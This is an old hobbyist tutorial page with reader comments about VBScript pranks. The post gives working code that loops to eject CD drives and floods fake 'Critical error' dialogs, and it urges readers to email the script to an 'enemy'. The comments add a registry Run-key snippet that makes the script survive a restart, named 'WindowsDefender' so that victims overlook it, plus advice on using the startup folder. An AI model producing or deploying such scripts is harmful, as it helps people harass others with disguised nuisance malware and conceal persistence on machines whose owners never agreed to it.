Introduction: Visual Basic Scripting Tricks (2)

visual basic scripting is scripting that has the potential to do any physical function that a computer has. i shall be showing two tricks of vbs

vbs files by the way, are saved as w/e.vbs (in the sense of w/e meaning whatever you want, not literally w/e). they similar to batch files, just different functions

Step 1: Continous Disk Opener

this will be a continuous disk opener, open notepad and write:
do

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection

if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
End If

loop

save as w/e.vbs. send as an email attachment, and laugh at your enemy hahaha

Step 2: ERROR!!!

To make it appear as error, error, error, write the following:

lol = msgbox ("Critical error!" ,16, "ERROR")

(copy and paste 100 times, save as a .vbs file)

Step 3: Conclusion

well, that's all i know about vb scripting, if you hav any suggestion, please tell me and i shall change it

Comments

author
Awal4real (author)2012-09-11

any script to copy the file to the start up folder automatically?

author
stealth4 (author)2009-03-27

lol i love the disc one, does it stop if you delete the file or restart the pc? idont know much about vb

author
maxoomen (author)stealth42010-04-11

 it stops when you restart :)

author
michaelb958 (author)maxoomen2010-10-06

Or kill the wscript process, using Task Manager or a shortcut to taskkill.exe.

author
UBERBANKAI (author)2010-04-05

You could just type

do
lol=msgbox("Critical Error",16,"ERROR")
loop

for a continuous error message

author
n1cod3mus (author)2010-02-19

Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

'WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
---------------

adds it to the registry for start up

author
kei10 (author)2009-12-27

Yes it stops, but you can put this in Startup folder next logon the file itself will be executed.

author
n1cod3mus (author)kei102010-02-19

Dim moo1
Set WshShell = WScript.CreateObject("WScript.Shell")
moo1=Wscript.ScriptFullName

WshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", moo1, "REG_SZ"
----------------------------------

the above code will automatically add this to the registry for startup, most non techie people would find it mega hard to find it, plus i named the key WindowsDefender so its unlikly it will get picked up quickly as a false registry entry

author
GeekBeam (author)2010-02-10

lol i had to hold dowwn the power button to make it stop

author
zetsway (author)2009-04-15

I ran the script on my own PC. I couldn't stop laughing :)

author
Colonel88 (author)zetsway2009-07-03

Oy, you kin make something more useful, like a web browser, or a autoloading virus thingy. This is a BIT simple, but nice job.

author
BatchMan (author)2009-06-28

will this work:

sub pwn()
lol = msgbox ("Critical error!" ,16, "ERROR")
pwn()
end sub
pwn()

author
computerfaker3 (author)2009-03-27

add "Do" to the top and "Loop" to the bottom, it will keep repeating until you shut down your computer or go to task manager - processes - and end proccess "wscript.exe"

author
I3uckwheat (author)2008-06-22

your right meeze it is a copy! duh it is

author

this is so plagerised

author
DavidRobertson (author)2008-02-17

Wonder where you got that code from... Hmm look at my instructablehere

author
GorillazMiko (author)2007-12-11

cool i liked that picture where is said ERROR

author

?? that's ok

About This Instructable

7,124views

11favorites

License:

More by thefirstgaruga:visual basic scripting tricks (2)how to do batchhow to beat the matrix
Add instructable to: